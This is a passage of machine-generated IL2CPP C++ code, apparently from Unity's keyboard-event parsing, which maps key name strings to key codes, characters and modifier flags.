} if (((int32_t)((int32_t)L_11-(int32_t)((int32_t)35))) == 2) { goto IL_009b; } if (((int32_t)((int32_t)L_11-(int32_t)((int32_t)35))) == 3) { goto IL_006d; } } IL_005f: { Il2CppChar L_12 = V_4; if ((((int32_t)L_12) == ((int32_t)((int32_t)94)))) { goto IL_0084; } } { goto IL_00c9; } IL_006d: { Event_t3028476042 * L_13 = V_0; Event_t3028476042 * L_14 = L_13; NullCheck(L_14); int32_t L_15 = Event_get_modifiers_m430092210(L_14, /*hidden argument*/NULL); NullCheck(L_14); Event_set_modifiers_m2565042639(L_14, ((int32_t)((int32_t)L_15|(int32_t)4)), /*hidden argument*/NULL); int32_t L_16 = V_2; V_2 = ((int32_t)((int32_t)L_16+(int32_t)1)); goto IL_00d0; } IL_0084: { Event_t3028476042 * L_17 = V_0; Event_t3028476042 * L_18 = L_17; NullCheck(L_18); int32_t L_19 = Event_get_modifiers_m430092210(L_18, /*hidden argument*/NULL); NullCheck(L_18); Event_set_modifiers_m2565042639(L_18, ((int32_t)((int32_t)L_19|(int32_t)2)), /*hidden argument*/NULL); int32_t L_20 = V_2; V_2 = ((int32_t)((int32_t)L_20+(int32_t)1)); goto IL_00d0; } IL_009b: { Event_t3028476042 * L_21 = V_0; Event_t3028476042 * L_22 = L_21; NullCheck(L_22); int32_t L_23 = Event_get_modifiers_m430092210(L_22, /*hidden argument*/NULL); NullCheck(L_22); Event_set_modifiers_m2565042639(L_22, ((int32_t)((int32_t)L_23|(int32_t)8)), /*hidden argument*/NULL); int32_t L_24 = V_2; V_2 = ((int32_t)((int32_t)L_24+(int32_t)1)); goto IL_00d0; } IL_00b2: { Event_t3028476042 * L_25 = V_0; Event_t3028476042 * L_26 = L_25; NullCheck(L_26); int32_t L_27 = Event_get_modifiers_m430092210(L_26, /*hidden argument*/NULL); NullCheck(L_26); Event_set_modifiers_m2565042639(L_26, ((int32_t)((int32_t)L_27|(int32_t)1)), /*hidden argument*/NULL); int32_t L_28 = V_2; V_2 = ((int32_t)((int32_t)L_28+(int32_t)1)); goto IL_00d0; } IL_00c9: { V_3 = (bool)0; goto IL_00d0; } IL_00d0: { bool L_29 = V_3; if (L_29) { goto IL_0025; } } IL_00d7: { String_t* L_30 = ___key0; int32_t L_31 = V_2; String_t* L_32 = ___key0; NullCheck(L_32); int32_t L_33 = String_get_Length_m1606060069(L_32, /*hidden argument*/NULL); int32_t L_34 = V_2; NullCheck(L_30); String_t* L_35 = String_Substring_m12482732(L_30, L_31, ((int32_t)((int32_t)L_33-(int32_t)L_34)), /*hidden argument*/NULL); NullCheck(L_35); String_t* L_36 = String_ToLower_m2994460523(L_35, /*hidden argument*/NULL); V_5 = L_36; String_t* L_37 = V_5; if (!L_37) { goto IL_09f1; } } { Dictionary_2_t3986656710 * L_38 = ((Event_t3028476042_StaticFields*)Event_t3028476042_il2cpp_TypeInfo_var->static_fields)->get_U3CU3Ef__switchU24map0_3(); if (L_38) { goto IL_03b3; } } { Dictionary_2_t3986656710 * L_39 = (Dictionary_2_t3986656710 *)il2cpp_codegen_object_new(Dictionary_2_t3986656710_il2cpp_TypeInfo_var); Dictionary_2__ctor_m2118310873(L_39, ((int32_t)49), /*hidden argument*/Dictionary_2__ctor_m2118310873_MethodInfo_var); V_6 = L_39; Dictionary_2_t3986656710 * L_40 = V_6; NullCheck(L_40); Dictionary_2_Add_m1209957957(L_40, _stringLiteral104530092, 0, /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_41 = V_6; NullCheck(L_41); Dictionary_2_Add_m1209957957(L_41, _stringLiteral2833413447, 1, /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_42 = V_6; NullCheck(L_42); Dictionary_2_Add_m1209957957(L_42, _stringLiteral3236697974, 2, /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_43 = V_6; NullCheck(L_43); Dictionary_2_Add_m1209957957(L_43, _stringLiteral1670614033, 3, /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_44 = V_6; NullCheck(L_44); Dictionary_2_Add_m1209957957(L_44, _stringLiteral2430128920, 4, /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_45 = V_6; NullCheck(L_45); Dictionary_2_Add_m1209957957(L_45, _stringLiteral864044979, 5, /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_46 = V_6; NullCheck(L_46); Dictionary_2_Add_m1209957957(L_46, _stringLiteral1267329506, 6, /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_47 = V_6; NullCheck(L_47); Dictionary_2_Add_m1209957957(L_47, _stringLiteral3996212861, 7, /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_48 = V_6; NullCheck(L_48); Dictionary_2_Add_m1209957957(L_48, _stringLiteral4043267028, 8, /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_49 = V_6; NullCheck(L_49); Dictionary_2_Add_m1209957957(L_49, _stringLiteral2477183087, ((int32_t)9), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_50 = V_6; NullCheck(L_50); Dictionary_2_Add_m1209957957(L_50, _stringLiteral1623559866, ((int32_t)10), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_51 = V_6; NullCheck(L_51); Dictionary_2_Add_m1209957957(L_51, _stringLiteral57475925, ((int32_t)11), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_52 = V_6; NullCheck(L_52); Dictionary_2_Add_m1209957957(L_52, _stringLiteral1220275339, ((int32_t)12), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_53 = V_6; NullCheck(L_53); Dictionary_2_Add_m1209957957(L_53, _stringLiteral2026844393, ((int32_t)13), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_54 = V_6; NullCheck(L_54); Dictionary_2_Add_m1209957957(L_54, _stringLiteral507814619, ((int32_t)14), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_55 = V_6; NullCheck(L_55); Dictionary_2_Add_m1209957957(L_55, _stringLiteral1178848913, ((int32_t)15), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_56 = V_6; NullCheck(L_56); Dictionary_2_Add_m1209957957(L_56, _stringLiteral1335981990, ((int32_t)16), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_57 = V_6; NullCheck(L_57); Dictionary_2_Add_m1209957957(L_57, _stringLiteral1543969241, ((int32_t)17), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_58 = V_6; NullCheck(L_58); Dictionary_2_Add_m1209957957(L_58, _stringLiteral1367190538, ((int32_t)18), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_59 = V_6; NullCheck(L_59); Dictionary_2_Add_m1209957957(L_59, _stringLiteral3423761043, ((int32_t)19), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_60 = V_6; NullCheck(L_60); Dictionary_2_Add_m1209957957(L_60, _stringLiteral109637592, ((int32_t)20), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_61 = V_6; NullCheck(L_61); Dictionary_2_Add_m1209957957(L_61, _stringLiteral695394959, ((int32_t)21), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_62 = V_6; NullCheck(L_62); Dictionary_2_Add_m1209957957(L_62, _stringLiteral1414245067, ((int32_t)22), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_63 = V_6; NullCheck(L_63); Dictionary_2_Add_m1209957957(L_63, _stringLiteral3068682171, ((int32_t)23), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_64 = V_6; NullCheck(L_64); Dictionary_2_Add_m1209957957(L_64, _stringLiteral331999482, ((int32_t)24), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_65 = V_6; NullCheck(L_65); Dictionary_2_Add_m1209957957(L_65, _stringLiteral2532232006, ((int32_t)25), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_66 = V_6; NullCheck(L_66); Dictionary_2_Add_m1209957957(L_66, _stringLiteral3199469141, ((int32_t)26), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_67 = V_6; NullCheck(L_67); Dictionary_2_Add_m1209957957(L_67, _stringLiteral151017037, ((int32_t)27), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_68 = V_6; NullCheck(L_68); Dictionary_2_Add_m1209957957(L_68, _stringLiteral4226874623, ((int32_t)28), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_69 = V_6; NullCheck(L_69); Dictionary_2_Add_m1209957957(L_69, _stringLiteral1381955065, ((int32_t)29), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_70 = V_6; NullCheck(L_70); Dictionary_2_Add_m1209957957(L_70, _stringLiteral696029671, ((int32_t)30), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_71 = V_6; NullCheck(L_71); Dictionary_2_Add_m1209957957(L_71, _stringLiteral2827728167, ((int32_t)31), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_72 = V_6; NullCheck(L_72); Dictionary_2_Add_m1209957957(L_72, _stringLiteral3231012694, ((int32_t)32), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_73 = V_6; NullCheck(L_73); Dictionary_2_Add_m1209957957(L_73, _stringLiteral1664928753, ((int32_t)33), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_74 = V_6; NullCheck(L_74); Dictionary_2_Add_m1209957957(L_74, _stringLiteral2424443640, ((int32_t)34), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_75 = V_6; NullCheck(L_75); Dictionary_2_Add_m1209957957(L_75, _stringLiteral858359699, ((int32_t)35), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_76 = V_6; NullCheck(L_76); Dictionary_2_Add_m1209957957(L_76, _stringLiteral1261644226, ((int32_t)36), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_77 = V_6; NullCheck(L_77); Dictionary_2_Add_m1209957957(L_77, _stringLiteral3990527581, ((int32_t)37), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_78 = V_6; NullCheck(L_78); Dictionary_2_Add_m1209957957(L_78, _stringLiteral4037581748, ((int32_t)38), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_79 = V_6; NullCheck(L_79); Dictionary_2_Add_m1209957957(L_79, _stringLiteral2471497807, ((int32_t)39), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_80 = V_6; NullCheck(L_80); Dictionary_2_Add_m1209957957(L_80, _stringLiteral2833411447, ((int32_t)40), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_81 = V_6; NullCheck(L_81); Dictionary_2_Add_m1209957957(L_81, _stringLiteral2833411446, ((int32_t)41), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_82 = V_6; NullCheck(L_82); Dictionary_2_Add_m1209957957(L_82, _stringLiteral2833411445, ((int32_t)42), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_83 = V_6; NullCheck(L_83); Dictionary_2_Add_m1209957957(L_83, _stringLiteral2833411444, ((int32_t)43), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_84 = V_6; NullCheck(L_84); Dictionary_2_Add_m1209957957(L_84, _stringLiteral2833411451, ((int32_t)44), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_85 = V_6; NullCheck(L_85); Dictionary_2_Add_m1209957957(L_85, _stringLiteral2833411450, ((int32_t)45), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_86 = V_6; NullCheck(L_86); Dictionary_2_Add_m1209957957(L_86, _stringLiteral2757751167, ((int32_t)46), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_87 = V_6; NullCheck(L_87); Dictionary_2_Add_m1209957957(L_87, _stringLiteral3687636376, ((int32_t)47), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_88 = V_6; NullCheck(L_88); Dictionary_2_Add_m1209957957(L_88, _stringLiteral1144830560, ((int32_t)48), /*hidden argument*/Dictionary_2_Add_m1209957957_MethodInfo_var); Dictionary_2_t3986656710 * L_89 = V_6; ((Event_t3028476042_StaticFields*)Event_t3028476042_il2cpp_TypeInfo_var->static_fields)->set_U3CU3Ef__switchU24map0_3(L_89); } IL_03b3: { Dictionary_2_t3986656710 * L_90 = ((Event_t3028476042_StaticFields*)Event_t3028476042_il2cpp_TypeInfo_var->static_fields)->get_U3CU3Ef__switchU24map0_3(); String_t* L_91 = V_5; NullCheck(L_90); bool L_92 = Dictionary_2_TryGetValue_m2977303364(L_90, L_91, (&V_7), /*hidden argument*/Dictionary_2_TryGetValue_m2977303364_MethodInfo_var); if (!L_92) { goto IL_09f1; } } { int32_t L_93 = V_7; if (L_93 == 0) { goto IL_049a; } if (L_93 == 1) { goto IL_04b2; } if (L_93 == 2) { goto IL_04ca; } if (L_93 == 3) { goto IL_04e2; } if (L_93 == 4) { goto IL_04fa; } if (L_93 == 5) { goto IL_0512; } if (L_93 == 6) { goto IL_052a; } if (L_93 == 7) { goto IL_0542; } if (L_93 == 8) { goto IL_055a; } if (L_93 == 9) { goto IL_0572; } if (L_93 == 10) { goto IL_058a; } if (L_93 == 11) { goto IL_05a2; } if (L_93 == 12) { goto IL_05ba; } if (L_93 == 13) { goto IL_05d2; } if (L_93 == 14) { goto IL_05ea; } if (L_93 == 15) { goto IL_0602; } if (L_93 == 16) { goto IL_061a; } if (L_93 == 17) { goto IL_0632; } if (L_93 == 18) { goto IL_0651; } if (L_93 == 19) { goto IL_0670; } if (L_93 == 20) { goto IL_068f; } if (L_93 == 21) { goto IL_06ae; } if (L_93 == 22) { goto IL_06cd; } if (L_93 == 23) { goto IL_06ec; } if (L_93 == 24) { goto IL_070b; } if (L_93 == 25) { goto IL_072a; } if (L_93 == 26) { goto IL_0749; } if (L_93 == 27) { goto IL_0768; } if (L_93 == 28) { goto IL_0787; } if (L_93 == 29) { goto IL_07a2; } if (L_93 == 30) { goto IL_07be; } if (L_93 == 31) { goto IL_07cb; } if (L_93 == 32) { goto IL_07ea; } if (L_93 == 33) { goto IL_0809; } if (L_93 == 34) { goto IL_0828; } if (L_93 == 35) { goto IL_0847; } if (L_93 == 36) { goto IL_0866; } if (L_93 == 37) { goto IL_0885; } if (L_93 == 38) { goto IL_08a4; } if (L_93 == 39) { goto IL_08c3; } if (L_93 == 40) { goto IL_08e2; } if (L_93 == 41) { goto IL_0901; } if (L_93 == 42) { goto IL_0920; } if (L_93 == 43) { goto IL_093f; } if (L_93 == 44) { goto IL_095e; } if (L_93 == 45) { goto IL_097d; } if (L_93 == 46) { goto IL_099c; } if (L_93 == 47) { goto IL_09a9; } if (L_93 == 48) { goto IL_09cd; } if (L_93 == 49) { goto IL_09f1; } } { goto IL_09f1; } IL_049a: { Event_t3028476042 * L_94 = V_0; NullCheck(L_94); Event_set_character_m2479063678(L_94, ((int32_t)48), /*hidden argument*/NULL); Event_t3028476042 * L_95 = V_0; NullCheck(L_95); Event_set_keyCode_m1893308983(L_95, ((int32_t)256), /*hidden argument*/NULL); goto IL_0a83; } IL_04b2: { Event_t3028476042 * L_96 = V_0; NullCheck(L_96); Event_set_character_m2479063678(L_96, ((int32_t)49), /*hidden argument*/NULL); Event_t3028476042 * L_97 = V_0; NullCheck(L_97); Event_set_keyCode_m1893308983(L_97, ((int32_t)257), /*hidden argument*/NULL); goto IL_0a83; } IL_04ca: { Event_t3028476042 * L_98 = V_0; NullCheck(L_98); Event_set_character_m2479063678(L_98, ((int32_t)50), /*hidden argument*/NULL); Event_t3028476042 * L_99 = V_0; NullCheck(L_99); Event_set_keyCode_m1893308983(L_99, ((int32_t)258), /*hidden argument*/NULL); goto IL_0a83; } IL_04e2: { Event_t3028476042 * L_100 = V_0; NullCheck(L_100); Event_set_character_m2479063678(L_100, ((int32_t)51), /*hidden argument*/NULL); Event_t3028476042 * L_101 = V_0; NullCheck(L_101); Event_set_keyCode_m1893308983(L_101, ((int32_t)259), /*hidden argument*/NULL); goto IL_0a83; } IL_04fa: { Event_t3028476042 * L_102 = V_0; NullCheck(L_102); Event_set_character_m2479063678(L_102, ((int32_t)52), /*hidden argument*/NULL); Event_t3028476042 * L_103 = V_0; NullCheck(L_103); Event_set_keyCode_m1893308983(L_103, ((int32_t)260), /*hidden argument*/NULL); goto IL_0a83; } IL_0512: { Event_t3028476042 * L_104 = V_0; NullCheck(L_104); Event_set_character_m2479063678(L_104, ((int32_t)53), /*hidden argument*/NULL); Event_t3028476042 * L_105 = V_0; NullCheck(L_105); Event_set_keyCode_m1893308983(L_105, ((int32_t)261), /*hidden argument*/NULL); goto IL_0a83; } IL_052a: { Event_t3028476042 * L_106 = V_0; NullCheck(L_106); Event_set_character_m2479063678(L_106, ((int32_t)54), /*hidden argument*/NULL); Event_t3028476042 * L_107 = V_0; NullCheck(L_107); Event_set_keyCode_m1893308983(L_107, ((int32_t)262), /*hidden argument*/NULL); goto IL_0a83; } IL_0542: { Event_t3028476042 * L_108 = V_0; NullCheck(L_108); Event_set_character_m2479063678(L_108, ((int32_t)55), /*hidden argument*/NULL); Event_t3028476042 * L_109 = V_0; NullCheck(L_109); Event_set_keyCode_m1893308983(L_109, ((int32_t)263), /*hidden argument*/NULL); goto IL_0a83; } IL_055a: { Event_t3028476042 * L_110 = V_0; NullCheck(L_110); Event_set_character_m2479063678(L_110, ((int32_t)56), /*hidden argument*/NULL); Event_t3028476042 * L_111 = V_0; NullCheck(L_111); Event_set_keyCode_m1893308983(L_111, ((int32_t)264), /*hidden argument*/NULL); goto IL_0a83; } IL_0572: { Event_t3028476042 * L_112 = V_0; NullCheck(L_112); Event_set_character_m2479063678(L_112, ((int32_t)57), /*hidden argument*/NULL); Event_t3028476042 * L_113 = V_0; NullCheck(L_113); Event_set_keyCode_m1893308983(L_113, ((int32_t)265), /*hidden argument*/NULL); goto IL_0a83; } IL_058a: { Event_t3028476042 * L_114 = V_0; NullCheck(L_114); Event_set_character_m2479063678(L_114, ((int32_t)46), /*hidden argument*/NULL); Event_t3028476042 * L_115 = V_0; NullCheck(L_115); Event_set_keyCode_m1893308983(L_115, ((int32_t)266), /*hidden argument*/NULL); goto IL_0a83; } IL_05a2: { Event_t3028476042 * L_116 = V_0; NullCheck(L_116); Event_set_character_m2479063678(L_116, ((int32_t)47), /*hidden argument*/NULL); Event_t3028476042 * L_117 = V_0; NullCheck(L_117); Event_set_keyCode_m1893308983(L_117, ((int32_t)267), /*hidden argument*/NULL); goto IL_0a83; } IL_05ba: { Event_t3028476042 * L_118 = V_0; NullCheck(L_118); Event_set_character_m2479063678(L_118, ((int32_t)45), /*hidden argument*/NULL); Event_t3028476042 * L_119 = V_0; NullCheck(L_119); Event_set_keyCode_m1893308983(L_119, ((int32_t)269), /*hidden argument*/NULL); goto IL_0a83; } IL_05d2: { Event_t3028476042 * L_120 = V_0; NullCheck(L_120); Event_set_character_m2479063678(L_120, ((int32_t)43), /*hidden argument*/NULL); Event_t3028476042 * L_121 = V_0; NullCheck(L_121); Event_set_keyCode_m1893308983(L_121, ((int32_t)270), /*hidden argument*/NULL); goto IL_0a83; } IL_05ea: { Event_t3028476042 * L_122 = V_0; NullCheck(L_122); Event_set_character_m2479063678(L_122, ((int32_t)61), /*hidden argument*/NULL); Event_t3028476042 * L_123 = V_0; NullCheck(L_123); Event_set_keyCode_m1893308983(L_123, ((int32_t)272), /*hidden argument*/NULL); goto IL_0a83; } IL_0602: { Event_t3028476042 * L_124 = V_0; NullCheck(L_124); Event_set_character_m2479063678(L_124, ((int32_t)61), /*hidden argument*/NULL); Event_t3028476042 * L_125 = V_0; NullCheck(L_125); Event_set_keyCode_m1893308983(L_125, ((int32_t)272), /*hidden argument*/NULL); goto IL_0a83; } IL_061a: { Event_t3028476042 * L_126 = V_0; NullCheck(L_126); Event_set_character_m2479063678(L_126, ((int32_t)10), /*hidden argument*/NULL); Event_t3028476042 * L_127 = V_0; NullCheck(L_127); Event_set_keyCode_m1893308983(L_127, ((int32_t)271), /*hidden argument*/NULL); goto IL_0a83; } IL_0632: { Event_t3028476042 * L_128 = V_0; NullCheck(L_128); Event_set_keyCode_m1893308983(L_128, ((int32_t)273), /*hidden argument*/NULL); Event_t3028476042 * L_129 = V_0; Event_t3028476042 * L_130 = L_129; NullCheck(L_130); int32_t L_131 = Event_get_modifiers_m430092210(L_130, /*hidden argument*/NULL); NullCheck(L_130); Event_set_modifiers_m2565042639(L_130, ((int32_t)((int32_t)L_131|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_0651: { Event_t3028476042 * L_132 = V_0; NullCheck(L_132); Event_set_keyCode_m1893308983(L_132, ((int32_t)274), /*hidden argument*/NULL); Event_t3028476042 * L_133 = V_0; Event_t3028476042 * L_134 = L_133; NullCheck(L_134); int32_t L_135 = Event_get_modifiers_m430092210(L_134, /*hidden argument*/NULL); NullCheck(L_134); Event_set_modifiers_m2565042639(L_134, ((int32_t)((int32_t)L_135|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_0670: { Event_t3028476042 * L_136 = V_0; NullCheck(L_136); Event_set_keyCode_m1893308983(L_136, ((int32_t)276), /*hidden argument*/NULL); Event_t3028476042 * L_137 = V_0; Event_t3028476042 * L_138 = L_137; NullCheck(L_138); int32_t L_139 = Event_get_modifiers_m430092210(L_138, /*hidden argument*/NULL); NullCheck(L_138); Event_set_modifiers_m2565042639(L_138, ((int32_t)((int32_t)L_139|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_068f: { Event_t3028476042 * L_140 = V_0; NullCheck(L_140); Event_set_keyCode_m1893308983(L_140, ((int32_t)275), /*hidden argument*/NULL); Event_t3028476042 * L_141 = V_0; Event_t3028476042 * L_142 = L_141; NullCheck(L_142); int32_t L_143 = Event_get_modifiers_m430092210(L_142, /*hidden argument*/NULL); NullCheck(L_142); Event_set_modifiers_m2565042639(L_142, ((int32_t)((int32_t)L_143|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_06ae: { Event_t3028476042 * L_144 = V_0; NullCheck(L_144); Event_set_keyCode_m1893308983(L_144, ((int32_t)277), /*hidden argument*/NULL); Event_t3028476042 * L_145 = V_0; Event_t3028476042 * L_146 = L_145; NullCheck(L_146); int32_t L_147 = Event_get_modifiers_m430092210(L_146, /*hidden argument*/NULL); NullCheck(L_146); Event_set_modifiers_m2565042639(L_146, ((int32_t)((int32_t)L_147|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_06cd: { Event_t3028476042 * L_148 = V_0; NullCheck(L_148); Event_set_keyCode_m1893308983(L_148, ((int32_t)278), /*hidden argument*/NULL); Event_t3028476042 * L_149 = V_0; Event_t3028476042 * L_150 = L_149; NullCheck(L_150); int32_t L_151 = Event_get_modifiers_m430092210(L_150, /*hidden argument*/NULL); NullCheck(L_150); Event_set_modifiers_m2565042639(L_150, ((int32_t)((int32_t)L_151|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_06ec: { Event_t3028476042 * L_152 = V_0; NullCheck(L_152); Event_set_keyCode_m1893308983(L_152, ((int32_t)279), /*hidden argument*/NULL); Event_t3028476042 * L_153 = V_0; Event_t3028476042 * L_154 = L_153; NullCheck(L_154); int32_t L_155 = Event_get_modifiers_m430092210(L_154, /*hidden argument*/NULL); NullCheck(L_154); Event_set_modifiers_m2565042639(L_154, ((int32_t)((int32_t)L_155|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_070b: { Event_t3028476042 * L_156 = V_0; NullCheck(L_156); Event_set_keyCode_m1893308983(L_156, ((int32_t)281), /*hidden argument*/NULL); Event_t3028476042 * L_157 = V_0; Event_t3028476042 * L_158 = L_157; NullCheck(L_158); int32_t L_159 = Event_get_modifiers_m430092210(L_158, /*hidden argument*/NULL); NullCheck(L_158); Event_set_modifiers_m2565042639(L_158, ((int32_t)((int32_t)L_159|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_072a: { Event_t3028476042 * L_160 = V_0; NullCheck(L_160); Event_set_keyCode_m1893308983(L_160, ((int32_t)280), /*hidden argument*/NULL); Event_t3028476042 * L_161 = V_0; Event_t3028476042 * L_162 = L_161; NullCheck(L_162); int32_t L_163 = Event_get_modifiers_m430092210(L_162, /*hidden argument*/NULL); NullCheck(L_162); Event_set_modifiers_m2565042639(L_162, ((int32_t)((int32_t)L_163|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_0749: { Event_t3028476042 * L_164 = V_0; NullCheck(L_164); Event_set_keyCode_m1893308983(L_164, ((int32_t)280), /*hidden argument*/NULL); Event_t3028476042 * L_165 = V_0; Event_t3028476042 * L_166 = L_165; NullCheck(L_166); int32_t L_167 = Event_get_modifiers_m430092210(L_166, /*hidden argument*/NULL); NullCheck(L_166); Event_set_modifiers_m2565042639(L_166, ((int32_t)((int32_t)L_167|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_0768: { Event_t3028476042 * L_168 = V_0; NullCheck(L_168); Event_set_keyCode_m1893308983(L_168, ((int32_t)281), /*hidden argument*/NULL); Event_t3028476042 * L_169 = V_0; Event_t3028476042 * L_170 = L_169; NullCheck(L_170); int32_t L_171 = Event_get_modifiers_m430092210(L_170, /*hidden argument*/NULL); NullCheck(L_170); Event_set_modifiers_m2565042639(L_170, ((int32_t)((int32_t)L_171|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_0787: { Event_t3028476042 * L_172 = V_0; NullCheck(L_172); Event_set_keyCode_m1893308983(L_172, 8, /*hidden argument*/NULL); Event_t3028476042 * L_173 = V_0; Event_t3028476042 * L_174 = L_173; NullCheck(L_174); int32_t L_175 = Event_get_modifiers_m430092210(L_174, /*hidden argument*/NULL); NullCheck(L_174); Event_set_modifiers_m2565042639(L_174, ((int32_t)((int32_t)L_175|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_07a2: { Event_t3028476042 * L_176 = V_0; NullCheck(L_176); Event_set_keyCode_m1893308983(L_176, ((int32_t)127), /*hidden argument*/NULL); Event_t3028476042 * L_177 = V_0; Event_t3028476042 * L_178 = L_177; NullCheck(L_178); int32_t L_179 = Event_get_modifiers_m430092210(L_178, /*hidden argument*/NULL); NullCheck(L_178); Event_set_modifiers_m2565042639(L_178, ((int32_t)((int32_t)L_179|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_07be: { Event_t3028476042 * L_180 = V_0; NullCheck(L_180); Event_set_keyCode_m1893308983(L_180, ((int32_t)9), /*hidden argument*/NULL); goto IL_0a83; } IL_07cb: { Event_t3028476042 * L_181 = V_0; NullCheck(L_181); Event_set_keyCode_m1893308983(L_181, ((int32_t)282), /*hidden argument*/NULL); Event_t3028476042 * L_182 = V_0; Event_t3028476042 * L_183 = L_182; NullCheck(L_183); int32_t L_184 = Event_get_modifiers_m430092210(L_183, /*hidden argument*/NULL); NullCheck(L_183); Event_set_modifiers_m2565042639(L_183, ((int32_t)((int32_t)L_184|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_07ea: { Event_t3028476042 * L_185 = V_0; NullCheck(L_185); Event_set_keyCode_m1893308983(L_185, ((int32_t)283), /*hidden argument*/NULL); Event_t3028476042 * L_186 = V_0; Event_t3028476042 * L_187 = L_186; NullCheck(L_187); int32_t L_188 = Event_get_modifiers_m430092210(L_187, /*hidden argument*/NULL); NullCheck(L_187); Event_set_modifiers_m2565042639(L_187, ((int32_t)((int32_t)L_188|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_0809: { Event_t3028476042 * L_189 = V_0; NullCheck(L_189); Event_set_keyCode_m1893308983(L_189, ((int32_t)284), /*hidden 